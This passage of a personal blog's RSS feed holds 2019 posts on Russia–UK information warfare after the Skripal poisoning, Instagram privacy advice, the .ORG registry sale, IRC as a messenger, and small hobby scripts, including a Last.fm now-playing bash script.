1451executive of Porton Down, Gary Aitkenhead.</li>
1452<li>Aitkenhead says they’ve identified Novichok but “have not identified
1453the precise source”.</li>
1454<li>Days earlier, Boris Johnson (then-Foreign Secretary) claimed that
1455Porton Down confirmed the origin of the toxin to be Russia.</li>
1456<li>This discrepancy was immediately promoted by Moscow, and its network
1457all over.</li>
1458</ul>
1459
1460<p>This one is especially interesting because of how <em>simple</em> it is to
1461exploit a small contradiction, that could’ve been an honest mistake.
1462This episode is also interesting because the British actually attempted
1463damage control this time. Porton Down tried to clarify Aitkenhead’s
1464statement via a tweet<sup class="footnote-ref" id="fnref-dstltweet"><a href="#fn-dstltweet">2</a></sup>:</p>
1465
1466<blockquote>
1467 <p>Our experts have precisely identified the nerve agent as a Novichok.
1468 It is not, and has never been, our responsibility to confirm the source
1469 of the agent @skynews @UKmoments</p>
1470</blockquote>
1471
1472<p>Quoting the <a href="https://www.defenseone.com/threats/2019/12/britains-secret-war-russia/161665/">Defense One</a>
1473article on the matter:</p>
1474
1475<blockquote>
1476 <p>The episode is seen by those inside Britain’s security communications team
1477 as the most serious misstep of the crisis, which for a period caused real
1478 concern. U.K. officials told me that, in hindsight, Aikenhead could never
1479 have blamed Russia directly, because that was not his job—all he was
1480 qualified to do was identify the chemical. Johnson, in going too far,
1481 was more damaging. Two years on, he is now prime minister.</p>
1482</blockquote>
1483
1484<h3 id="may-2018">May 2018</h3>
1485
1486<ul>
1487<li>OPCW facilities receive an email from Spiez inviting them to
1488a conference.</li>
1489<li>The conference itself is real, and has been organized before.</li>
1490<li>The email however, was not—attached was a Word document containing
1491malware.</li>
1492<li>Also seen were inconsistencies in the email formatting, from what was
1493normal.</li>
1494</ul>
1495
1496<p>This spearphishing campaign was never offically attributed to Moscow,
1497but there are a lot of tells here that point to it being the work of
1498a state actor:</p>
1499
1500<ol>
1501<li>Attack targetting a specific group of individuals.</li>
1502<li>Relatively high level of sophistication—email formatting,
1503malicious Word doc, etc.</li>
1504</ol>
1505
1506<p>However, the British NCSC have deemed with “high confidence” that the
1507attack was perpetrated by GRU. In the UK intelligence parlance, “highly
1508likely” / “high confidence” usually means “definitely”.</p>
1509
1510<h2 id="britains-defense">Britain’s defense</h2>
1511
1512<h3 id="september-5-2018">September 5, 2018</h3>
1513
1514<p>The UK took a lot of hits in 2018, but they eventually came back:</p>
1515
1516<ul>
1517<li>Metropolitan Police has a meeting with the press, releasing their
1518findings.</li>
1519<li>CCTV footage showing the two Russian hitmen was released.</li>
1520<li>Traces of Novichok identified in their hotel room.</li>
1521</ul>
1522
1523<p>This sudden news explosion from Britan’s side completely
1524bulldozed the information space pertaining to the entire event.
1525According to Defense One:</p>
1526
1527<blockquote>
1528 <p>Only two of the 10 most viral stories in the weeks following the announcement
1529 were sympathetic to Russia, according to NewsWhip. Finally, officials recalled,
1530 it felt as though the U.K. was the aggressor. “This was all kept secret to
1531 put the Russians on the hop,” one told me. “Their response was all over the
1532 place from this point. It was the turning point.”</p>
1533</blockquote>
1534
1535<p>Earlier in April, 4 GRU agents were arrested in the Netherlands, who
1536were there to execute a cyber operation against the OPCW (located in The
1537Hague), via their WiFi networks. They were arrested by Dutch security,
1538and later identifed as belonging to Unit 26165. They also seized a bunch
1539of equipment from the room and their car.</p>
1540
1541<blockquote>
1542 <p>The abandoned equipment revealed that the GRU unit involved had sent
1543 officers around the world to conduct similar cyberattacks. They had
1544 been in Malaysia trying to steal information about the investigation
1545 into the downed Malaysia Airlines Flight 17, and at a hotel in Lausanne,
1546 Switzerland, where a World Anti-Doping Agency (WADA) conference was taking
1547 place as Russia faced sanctions from the International Olympic Committee.
1548 Britain has said that the same GRU unit attempted to compromise Foreign
1549 Office and Porton Down computer systems after the Skripal poisoning.</p>
1550</blockquote>
1551
1552<h3 id="october-4-2018">October 4, 2018</h3>
1553
1554<p>UK made the arrests public, published a list of infractions commited by
1555Russia, along with the specific GRU unit that was caught.</p>
1556
1557<p>During this period, just one of the top 25 viral stories was from
1558a pro-Russian outlet, RT—that too a fairly straightforward piece.</p>
1559
1560<h2 id="wrapping-up">Wrapping up</h2>
1561
1562<p>As with conventional warfare, it’s hard to determine who won. Britain
1563may have had the last blow, but Moscow—yet again—depicted their
1564finesse in information warfare. Their ability to seize unexpected
1565openings, gather intel to facilitate their disinformation campaigns, and
1566their cyber capabilities makes them a formidable threat. </p>
1567
1568<p>2020 will be fun, to say the least.</p>
1569
1570<div class="footnotes">
1571<hr />
1572<ol>
1573<li id="fn-skripal">
1574<p><a href="https://en.wikipedia.org/wiki/Sergei_Skripal">https://en.wikipedia.org/wiki/Sergei_Skripal</a> <a href="#fnref-skripal" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1575</li>
1576
1577<li id="fn-dstltweet">
1578<p><a href="https://twitter.com/dstlmod/status/981220158680260613">https://twitter.com/dstlmod/status/981220158680260613</a> <a href="#fnref-dstltweet" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1579</li>
1580</ol>
1581</div>
1582]]></description><link>https://icyphox.sh/blog/ru-vs-gb</link><pubDate>Thu, 12 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ru-vs-gb</guid></item><item><title>Instagram OPSEC</title><description><![CDATA[<p>Which I am not, of course. But seeing as most of my peers are, I am
1583compelled to write this post. Using a social platform like Instagram
1584automatically implies that the user understands (to some level) that
1585their personally identifiable information is exposed publicly, and they
1586sign up for the service understanding this risk—or I think they do,
1587anyway. But that’s about it, they go ham after that. Sharing every nitty
1588gritty detail of their private lives without understanding the potential
1589risks of doing so.</p>
1590
1591<p>The fundamentals of OPSEC dictacte that you develop a threat model, and
1592Instgrammers are <em>obviously</em> incapable of doing that—so I’ll do it
1593for them. </p>
1594
1595<h2 id="your-average-instagrammers-threat-model">Your average Instagrammer’s threat model</h2>
1596
1597<p>I stress on the word “average”, as in this doesn’t apply to those with
1598more than a couple thousand followers. Those type of accounts inherently
1599face different kinds of threats—those that come with having
1600a celebrity status, and are not in scope of this analysis.</p>
1601
1602<ul>
1603<li><p><strong>State actors</strong>: This doesn’t <em>really</em> fit into our threat model,
1604since our target demographic is simply not important enough. That said,
1605there are select groups of individuals that operate on
1606Instagram<sup class="footnote-ref" id="fnref-ddepisode"><a href="#fn-ddepisode">1</a></sup>, and they can potentially be targetted by a state
1607actor.</p></li>
1608<li><p><strong>OSINT</strong>: This is probably the biggest threat vector, simply because
1609of the amount of visual information shared on the platform. A lot can be
1610gleaned from one simple picture in a nondescript alleyway. We’ll get
1611into this in the DOs and DON’Ts in a bit.</p></li>
1612<li><p><strong>Facebook & LE</strong>: Instagram is the last place you want to be doing an
1613illegal, because well, it’s logged and more importantly—not
1614end-to-end encrypted. Law enforcement can subpoena any and all account
1615information. Quoting Instagram’s
1616<a href="https://help.instagram.com/494561080557017">page on this</a>:</p></li>
1617</ul>
1618
1619<blockquote>
1620 <p>a search warrant issued under the procedures described in the Federal
1621 Rules of Criminal Procedure or equivalent state warrant procedures
1622 upon a showing of probable cause is required to compel the disclosure
1623 of the stored contents of any account, which may include messages,
1624 photos, comments, and location information.</p>
1625</blockquote>
1626
1627<p>That out of the way, here’s a list of DOs and DON’Ts to keep in mind
1628while posting on Instagram.</p>
1629
1630<h3 id="donts">DON’Ts</h3>
1631
1632<ul>
1633<li><p>Use Instagram for planning and orchestrating illegal shit! I’ve
1634explained why this is a terrible idea above. Use secure comms—even
1635WhatsApp is a better choice, if you have nothing else. In fact, try
1636avoiding IG DMs altogether, use alternatives that implement E2EE.</p></li>
1637<li><p>Film live videos outside. Or try not to, if you can. You might
1638unknowingly include information about your location: street signs,
1639shops etc. These can be used to ascertain your current location.</p></li>
1640<li><p>Film live videos in places you visit often. This compromises your
1641security at places you’re bound to be at.</p></li>
1642<li><p>Share your flight ticket in your story! I can’t stress this enough!!!
1643Summer/winter break? “Look guys, I’m going home! Here’s where I live,
1644and here’s my flight number—feel free to track me!”. This scenario is
1645especially worrisome because the start and end points are known to the
1646threat actor, and your arrival time can be trivially looked up—thanks
1647to the flight number on your ticket. So, just don’t.</p></li>
1648<li><p>Post screenshots with OS specific details. This might border on
1649pendantic, but better safe than sorry. Your phone’s statusbar and navbar
1650are better cropped out of pictures. They reveal the time, notifications
1651(apps that you use), and can be used to identify your phone’s operating
1652system. Besides, the status/nav bar isn’t very useful to your screenshot
1653anyway.</p></li>
1654<li><p>Share your voice. In general, reduce your footprint on the platform
1655that can be used to identify you elsewhere.</p></li>
1656<li><p>Think you’re safe if your account is set to private. It doesn’t take
1657much to get someone who follows you, to show show your profile on their
1658device.</p></li>
1659</ul>
1660
1661<h3 id="dos">DOs</h3>
1662
1663<ul>
1664<li><p>Post pictures that pertain to a specific location, once you’ve moved
1665out of the location. Also applies to stories. It can wait.</p></li>
1666<li><p>Post pictures that have been shot indoors. Or try to; reasons above.
1667Who woulda thunk I’d advocate bathroom selfies?</p></li>
1668<li><p>Delete old posts that are irrelevant to your current audience. Your
1669friends at work don’t need to know about where you went to high school.</p></li>
1670</ul>
1671
1672<p>More DON’Ts than DOs, that’s very telling. Here are a few more points
1673that are good OPSEC practices in general:</p>
1674
1675<ul>
1676<li><strong>Think before you share</strong>. Does it conform to the rules mentioned above?</li>
1677<li><strong>Compartmentalize</strong>. Separate as much as you can from what you share
1678online, from what you do IRL. Limit information exposure.</li>
1679<li><strong>Assess your risks</strong>: Do this often. People change, your environments
1680change, and consequentially the risks do too.</li>
1681</ul>
1682
1683<h2 id="fin">Fin</h2>
1684
1685<p>Instagram is—much to my dismay—far too popular for it to die any
1686time soon. There are plenty of good reasons to stop using the platform
1687altogether (hint: Facebook), but that’s a discussion for another day.</p>
1688
1689<p>Or be like me:</p>
1690
1691<p><img src="/static/img/ig.jpg" alt="0 posts lul" /></p>
1692
1693<p>And that pretty much wraps it up, with a neat little bow.</p>
1694
1695<div class="footnotes">
1696<hr />
1697<ol>
1698<li id="fn-ddepisode">
1699<p><a href="https://darknetdiaries.com/episode/51/—Jack">https://darknetdiaries.com/episode/51/—Jack</a> talks about Indian hackers who operate on Instagram. <a href="#fnref-ddepisode" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1700</li>
1701</ol>
1702</div>
1703]]></description><link>https://icyphox.sh/blog/ig-opsec</link><pubDate>Mon, 02 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ig-opsec</guid></item><item><title>Save .ORG!</title><description><![CDATA[<p>The .ORG top-level domain introduced in 1985, has been operated by the
1704<a href="https://en.wikipedia.org/wiki/Public_Interest_Registry">Public Interest Registry</a> since
17052003. The .ORG TLD is used primarily by communities, free and open source projects,
1706and other non-profit organizations—although the use of the TLD isn’t
1707restricted to non-profits.</p>
1708
1709<p>The Internet Society or ISOC, the group that created the PIR, has
1710decided to sell the registry over to a private equity firm—Ethos
1711Capital.</p>
1712
1713<h2 id="whats-the-problem">What’s the problem?</h2>
1714
1715<p>There are around 10 million .ORG TLDs registered, and a good portion of
1716them are non-profits and non-governmental organizations. As the name
1717suggests, they don’t earn any profits and all their operations rely on
1718a thin inflow of donations. A private firm having control of the .ORG
1719domain gives them the power to make decisions that would be unfavourable
1720to the .ORG community:</p>
1721
1722<ul>
1723<li><p>They control the registration/renewal fees of the TLD. They can
1724hike the price if they wish to. As is stands, NGOs already earn very
1725little—a .ORG price hike would put them in a very icky situation.</p></li>
1726<li><p>They can introduce <a href="https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en">Rights Protection
1727Mechanisms</a>
1728or RPMs, which are essentially legal statements that can—if not
1729correctly developed—jeopardize / censor completely legal non-profit
1730activities.</p></li>
1731<li><p>Lastly, they can suspend domains at the whim of state actors. It isn’t
1732news that nation states go after NGOs, targetting them with allegations
1733of illegal activity. The registry being a private firm only simplifies
1734the process.</p></li>
1735</ul>
1736
1737<p>Sure, these are just “what ifs” and speculations, but the risk is real.
1738Such power can be abused and this would be severly detrimental to NGOs
1739globally.</p>
1740
1741<h2 id="how-can-i-help">How can I help?</h2>
1742
1743<p>We need to get the ISOC to <strong>stop the sale</strong>. Head over to
1744<a href="https://savedotorg.org">https://savedotorg.org</a> and sign their letter. An email is sent on your
1745behalf to:</p>
1746
1747<ul>
1748<li>Andrew Sullivan, CEO, ISOC</li>
1749<li>Jon Nevett, CEO, PIR</li>
1750<li>Maarten Botterman, Board Chair, ICANN</li>
1751<li>Göran Marby, CEO, ICANN</li>
1752</ul>
1753
1754<h2 id="closing-thoughts">Closing thoughts</h2>
1755
1756<p>The Internet that we all love and care for is slowly being subsumed by
1757megacorps and private firms, who’s only motive is to make a profit. The
1758Internet was meant to be free, and we’d better act now if we want that
1759freedom. The future looks bleak—I hope we aren’t too late.</p>
1760]]></description><link>https://icyphox.sh/blog/save-org</link><pubDate>Sat, 23 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/save-org</guid></item><item><title>Status update</title><description><![CDATA[<p>This month is mostly just unfun stuff, lined up in a neat schedule –
1761exams. I get all these cool ideas for things to do, and it’s always
1762during exams. Anyway, here’s a quick update on what I’ve been up to.</p>
1763
1764<h2 id="blog-post-queue">Blog post queue</h2>
1765
1766<p>I realized that I could use this site’s
1767<a href="https://github.com/icyphox/site">repo</a>’s issues to track blog post ideas.
1768I’ve made a few, mostly just porting them over from my Google Keep note.</p>
1769
1770<p>This method of using issues is great, because readers can chime in with
1771ideas for things I could possibly discuss—like in <a href="https://github.com/icyphox/site/issues/10">this
1772issue</a>.</p>
1773
1774<h2 id="contemplating-a-vite-rewrite">Contemplating a <code>vite</code> rewrite</h2>
1775
1776<p><a href="https://github.com/icyphox/vite"><code>vite</code></a>, despite what the name suggests
1777– is awfully slow. Also, Python is bloat.
1778Will rewriting it fix that? That’s what I plan to find out. I have
1779a couple of choices of languages to use in the rewrite:</p>
1780
1781<ul>
1782<li>C: Fast, compiled. Except I suck at it. (<code>cite</code>?)</li>
1783<li>Nim: My favourite, but I’ll have to write bindings to <a href="https://github.com/kristapsdz/lowdown"><code>lowdown(1)</code></a>. (<code>nite</code>?)</li>
1784<li>Shell: Another favourite, muh “minimalsm”. No downside, really.
1785(<code>shite</code>?)</li>
1786</ul>
1787
1788<p>Oh, and did I mention—I want it to be compatible with <code>vite</code>.
1789I don’t want to have to redo my site structure or its templates. At the
1790moment, I rely on Jinja2 for templating, so I’ll need something similar.</p>
1791
1792<h2 id="irc-bot">IRC bot</h2>
1793
1794<p>My earlier post on <a href="/blog/irc-for-dms">IRC for DMs</a> got quite a bit of
1795traction, which was pretty cool. I didn’t really talk much about the bot
1796itself though; I’m dedicating this section to
1797<a href="https://github.com/icyphox/detotated">detotated</a>.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1798
1799<p>Fairly simple Python code, using plain sockets. So far, we’ve got a few
1800basic features in place:</p>
1801
1802<ul>
1803<li><code>.np</code> command: queries the user’s last.fm to get the currently playing
1804track</li>
1805<li>Fetches the URL title, when a URL is sent in chat</li>
1806</ul>
1807
1808<p>That’s it, really. I plan to add a <code>.nps</code>, or “now playing Spotify”
1809command, since we share Spotify links pretty often.</p>
1810
1811<h2 id="other">Other</h2>
1812
1813<p>I’ve been reading some more manga, I’ll update the <a href="/reading">reading
1814log</a> when I, well… get around to it. Haven’t had time to do
1815much in the past few weeks—the time at the end of a semester tends to
1816get pretty tight. Here’s what I plan to get back to during this winter break:</p>
1817
1818<ul>
1819<li>Russian!</li>
1820<li>Window manager in Nim</li>
1821<li><code>vite</code> rewrite, probably</li>
1822<li>The other blog posts in queue</li>
1823</ul>
1824
1825<p>I’ve also put off doing any “security work” for a while now, perhaps
1826that’ll change this December. Or whenever.</p>
1827
1828<p>With that ends my status update, on all things that I <em>haven’t</em> done.</p>
1829
1830<div class="footnotes">
1831<hr />
1832<ol>
1833<li id="fn-1">
1834<p><a href="https://knowyourmeme.com/memes/dedotated-wam">https://knowyourmeme.com/memes/dedotated-wam</a> (dead meme, yes I know) <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1835</li>
1836</ol>
1837</div>
1838]]></description><link>https://icyphox.sh/blog/2019-11-16</link><pubDate>Sat, 16 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-11-16</guid></item><item><title>IRC for DMs</title><description><![CDATA[<p><a href="https://nerdypepper.me">Nerdy</a> and I decided to try and use IRC for our
1839daily communications, as opposed to non-free alternatives like WhatsApp
1840or Telegram. This is an account of how that went.</p>
1841
1842<h2 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h2>
1843
1844<p>I’ve tried a <em>ton</em> of messaging applications—Signal, WhatsApp,
1845Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p>
1846
1847<p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the
1848centralized architecture, and OWS’s refusal to federate.</p>
1849
1850<p><strong>WhatsApp</strong>: Facebook’s spyware that people use without a second
1851thought. The sole reason I have it installed is for University’s
1852class groups; I can’t wait to graduate.</p>
1853
1854<p><strong>Telegram</strong>: Centralized architecture and a closed-source server. It’s
1855got a very nice Android client, though.</p>
1856
1857<p><strong>Jami</strong>: Distributed platform, free software. I am not going to comment
1858on this because I don’t recall what my experience was like, but I’m not
1859using it now… so if that’s indicative of anything.</p>
1860
1861<p><strong>Matrix (Riot)</strong>: Distributed network. Multiple client implementations.
1862Overall, pretty great, but it’s slow. I’ve had messages not send / not
1863received a lot of times. Matrix + Riot excels in group communication, but
1864really sucks for one-to-one chats.</p>
1865
1866<p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p>
1867
1868<p><strong>DeltaChat</strong>: Pretty interesting idea—on paper. Using existing email
1869infrastructure for IM sounds great, but it isn’t all that cash in
1870practice. Email isn’t instant, there’s always a delay of give or take
18715 to 10 seconds, if not more. This affects the flow of conversation.
1872I might write a small blog post later, revewing DeltaChat.<sup class="footnote-ref" id="fnref-deltachat"><a href="#fn-deltachat">2</a></sup></p>
1873
1874<h2 id="why-irc">Why IRC?</h2>
1875
1876<p>It’s free, in all senses of the word. A lot of others have done a great
1877job of answering this question in further detail, this is by far my
1878favourite:</p>
1879
1880<p><a href="https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html">https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html</a></p>
1881
1882<h2 id="using-ircs-private-messages">Using IRC’s private messages</h2>
1883
1884<p>This was the next obvious choice, but personal message buffers don’t
1885persist in ZNC and it’s very annoying to have to do a <code>/query
1886nerdypepper</code> (Weechat) or to search and message a user via Revolution
1887IRC. The only unexplored option—using a channel.</p>
1888
1889<h2 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h2>
1890
1891<p>A fairly easy process:</p>
1892
1893<ul>
1894<li><p>Set modes (on Rizon)<sup class="footnote-ref" id="fnref-modes"><a href="#fn-modes">1</a></sup>:</p>
1895
1896<pre><code>#crimson [+ilnpstz 3]
1897</code></pre>
1898
1899<p>In essence, this limits the users to 3 (one bot), sets the channel to invite only,
1900hides the channel from <code>/whois</code> and <code>/list</code>, and a few other misc.
1901modes.</p></li>
1902<li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/">lnotify.py</a>
1903to send a notification for all messages in the specified buffer
1904(<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other
1905hand, has an option to setup rules for notifications—super
1906convenient.</p></li>
1907<li><p>A bot: Lastly, a bot for a few small tasks—fetching URL titles, responding
1908to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it
1909took me about an hour or two to get most of the basic functionality in
1910place. The source is <a href="https://github.com/icyphox/detotated">here</a>.
1911It is by no means “good code”; it breaks spectacularly from time to
1912time.</p></li>
1913</ul>
1914
1915<h2 id="in-conclusion">In conclusion</h2>
1916
1917<p>As the subtitle suggests, using IRC has been great. It’s probably not
1918for everyone though, but it fits my (and Nerdy’s) usecase perfectly.</p>
1919
1920<p>P.S.: <em>I’m not sure why the footnotes are reversed.</em></p>
1921
1922<div class="footnotes">
1923<hr />
1924<ol>
1925<li id="fn-modes">
1926<p>Channel modes on <a href="https://wiki.rizon.net/index.php?title=Channel_Modes">Rizon</a>. <a href="#fnref-modes" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1927</li>
1928
1929<li id="fn-deltachat">
1930<p>It’s in <a href="https://github.com/icyphox/site/issues/10">queue</a>. <a href="#fnref-deltachat" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1931</li>
1932</ol>
1933</div>
1934]]></description><link>https://icyphox.sh/blog/irc-for-dms</link><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/irc-for-dms</guid></item><item><title>The intelligence conundrum</title><description><![CDATA[<p>I watched the latest <a href="https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)">S.W.A.T.</a>
1935episode a couple of days ago, and it highlighted some interesting issues that
1936intelligence organizations face when working with law enforcement. Side note: it’s a pretty
1937good show if you like police procedurals.</p>
1938
1939<h2 id="the-problem">The problem</h2>
1940
1941<p>Consider the following scenario:</p>
1942
1943<ul>
1944<li>There’s a local drug lord who’s been recruited to provide intel, by a certain 3-letter organization.</li>
1945<li>Local PD busts his operation and proceed to arrest him.</li>
1946<li>3-letter org steps in, wants him released.</li>
1947</ul>
1948
1949<p>So here’s the thing, his presence is a threat to public but at the same time,
1950he can be a valuable long term asset—giving info on drug inflow, exchanges and perhaps even
1951actionable intel on bigger fish who exist on top of the ladder. But he also
1952seeks security. The 3-letter org must provide him with protection,
1953in case he’s blown. And like in our case, they’d have to step in if he gets arrested.</p>
1954
1955<p>Herein lies the problem. How far should an intelligence organization go to protect an asset?
1956Who matters more, the people they’ve sworn to protect, or the asset?
1957Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p>
1958
1959<p>Thus, the question arises—how can we measure the “usefulness” of an
1960asset to better quantify the tradeoff that is to be made?
1961Is the intel gained worth the loss of public safety?
1962This question remains largely unanswered, and is quite the
1963predicament should you find yourself in it.</p>
1964
1965<p>This was a fairly short post, but an interesting problem to ponder
1966nonetheless.</p>
1967]]></description><link>https://icyphox.sh/blog/intel-conundrum</link><pubDate>Mon, 28 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/intel-conundrum</guid></item><item><title>Hacky scripts</title><description><![CDATA[<p>As a CS student, I see a lot of people around me doing courses online
1968to learn to code. Don’t get me wrong—it probably works for some.
1969Everyone learns differently. But that’s only going to get you so far.
1970Great you know the syntax, you can solve some competitive programming
1971problems, but that’s not quite enough, is it? The actual learning comes
1972from <em>applying</em> it in solving <em>actual</em> problems—not made up ones.
1973(<em>inb4 some seething CP bro comes at me</em>)</p>
1974
1975<p>Now, what’s an actual problem? Some might define it as real world
1976problems that people out there face, and solving it probably requires
1977building a product. This is what you see in hackathons, generally.</p>
1978
1979<p>If you ask me, however, I like to define it as problems that <em>you</em> yourself
1980face. This could be anything. Heck, it might not even be a “problem”. It
1981could just be an itch that you want to scratch. And this is where
1982<strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few
1983examples.</p>
1984
1985<h2 id="now-playing-status-in-my-bar">Now playing status in my bar</h2>
1986
1987<p>If you weren’t aware already—I rice my desktop. A lot. And a part of
1988this cohesive experience I try to create involves a status bar up at the
1989top of my screen, showing the time, date, volume and battery statuses etc.</p>
1990
1991<p>So here’s the “problem”. I wanted to have my currently playing song
1992(Spotify), show up on my bar. How did I approach this? A few ideas
1993popped up in my head:</p>
1994
1995<ul>
1996<li>Send <code>playerctl</code>’s STDOUT into my bar</li>
1997<li>Write a Python script to query Spotify’s API</li>
1998<li>Write a Python/shell script to query Last.fm’s API</li>
1999</ul>
2000
2001<p>The first approach bombed instantly. <code>playerctl</code> didn’t recognize my
2002Spotify client and whined about some <code>dbus</code> issues to top it off.
2003I spent a while in that rabbit hole but eventually gave up.</p>
2004
2005<p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/">docs</a> and
2006I realize that I’ll have to make <em>more</em> than one request to fetch the
2007artist and track details. Nope, I need this to work fast.</p>
2008
2009<p>Last resort—Last.fm’s API. Spolier alert, this worked. Also, arguably
2010the best choice, since it shows the track status regardless of where
2011the music is being played. Here’s the script in its entirety:</p>
2012
2013<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
2014<span class="c1"># now playing</span>
2015<span class="c1"># requires the last.fm API key</span>
2016
2017<span class="nb">source</span> ~/.lastfm <span class="c1"># `export API_KEY="<key>"`</span>
2018<span class="nv">fg</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color15<span class="k">)</span><span class="s2">"</span>
2019<span class="nv">light</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color8<span class="k">)</span><span class="s2">"</span>
2020
2021<span class="nv">USER</span><span class="o">=</span><span class="s2">"icyphox"</span>
2022<span class="nv">URL</span><span class="o">=</span><span class="s2">"http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks"</span>
2023<span class="nv">URL</span><span class="o">+=</span><span class="s2">"&user=</span><span class="nv">$USER</span><span class="s2">&api_key=</span><span class="nv">$API_KEY</span><span class="s2">&format=json&limit=1&nowplaying=true"</span>
2024<span class="nv">NOTPLAYING</span><span class="o">=</span><span class="s2">" "</span> <span class="c1"># I like to have it show nothing</span>
2025<span class="nv">RES</span><span class="o">=</span><span class="k">$(</span>curl -s <span class="nv">$URL</span><span class="k">)</span>
2026<span class="nv">NOWPLAYING</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0]."@attr".nowplaying'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
2027
2028
2029<span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$NOWPLAYING</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"true"</span> <span class="o">]]</span>
2030<span class="k">then</span>
2031 <span class="nv">TRACK</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].name'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
2032 <span class="nv">ARTIST</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].artist."#text"'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
2033 <span class="nb">echo</span> -ne <span class="s2">"%{F</span><span class="nv">$light</span><span class="s2">}</span><span class="nv">$TRACK</span><span class="s2"> %{F</span><span class="nv">$fg</span><span class="s2">}by </span><span class="nv">$ARTIST</span><span class="s2">"</span>
2034<span class="k">else</span>
2035 <span class="nb">echo</span> -ne <span class="s2">"</span><span class="nv">$NOTPLAYING</span><span class="s2">"</span>
2036<span class="k">fi</span>
2037</code></pre></div>
2038
2039<p>The <code>source</code> command is used to fetch the API key which I store at
2040<code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they’re only
2041for coloring output on my bar. The rest is fairly trivial and just
2042involves JSON parsing with <a href="https://stedolan.github.io/jq/"><code>jq</code></a>.
2043That’s it! It’s so small, but I learnt a ton. For those curious, here’s
2044what it looks like running:</p>
2045
2046<p><img src="/static/img/now_playing.png" alt="now playing status polybar" /></p>
2047
2048<h2 id="update-latest-post-on-the-index-page">Update latest post on the index page</h2>
2049
2050<p>This pertains to this very blog that you’re reading. I wanted a quick
2051way to update the “latest post” section in the home page and the
2052<a href="/blog">blog</a> listing, with a link to the latest post. This would require
2053editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages">source</a>
2054of both pages.</p>
2055
2056<p>This was a very
2057interesting challenge to me, primarily because it requires in-place
2058editing of the file, not just appending. Sure, I could’ve come up with
2059some <code>sed</code> one-liner, but that didn’t seem very fun. Also I hate
2060regexes. Did a lot of research (read: Googling) on in-place editing of
2061files in Python, sorting lists of files by modification time etc. and
2062this is what I ended up on, ultimately:</p>
2063
2064<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
2065
2066<span class="kn">from</span> <span class="nn">markdown2</span> <span class="kn">import</span> <span class="n">markdown_path</span>
2067<span class="kn">import</span> <span class="nn">os</span>
2068<span class="kn">import</span> <span class="nn">fileinput</span>
2069<span class="kn">import</span> <span class="nn">sys</span>
2070
2071<span class="c1"># change our cwd</span>
2072<span class="n">os</span><span class="o">.</span><span class="n">chdir</span><span class="p">(</span><span class="s2">"bin"</span><span class="p">)</span>
2073
2074<span class="n">blog</span> <span class="o">=</span> <span class="s2">"../pages/blog/"</span>
2075
2076<span class="c1"># get the most recently created file</span>
2077<span class="k">def</span> <span class="nf">getrecent</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
2078 <span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">path</span> <span class="o">+</span> <span class="n">f</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">blog</span><span class="p">)</span> <span class="k">if</span> <span class="n">f</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s2">"_index.md"</span><span class="p">,</span> <span class="s2">"feed.xml"</span><span class="p">]]</span>
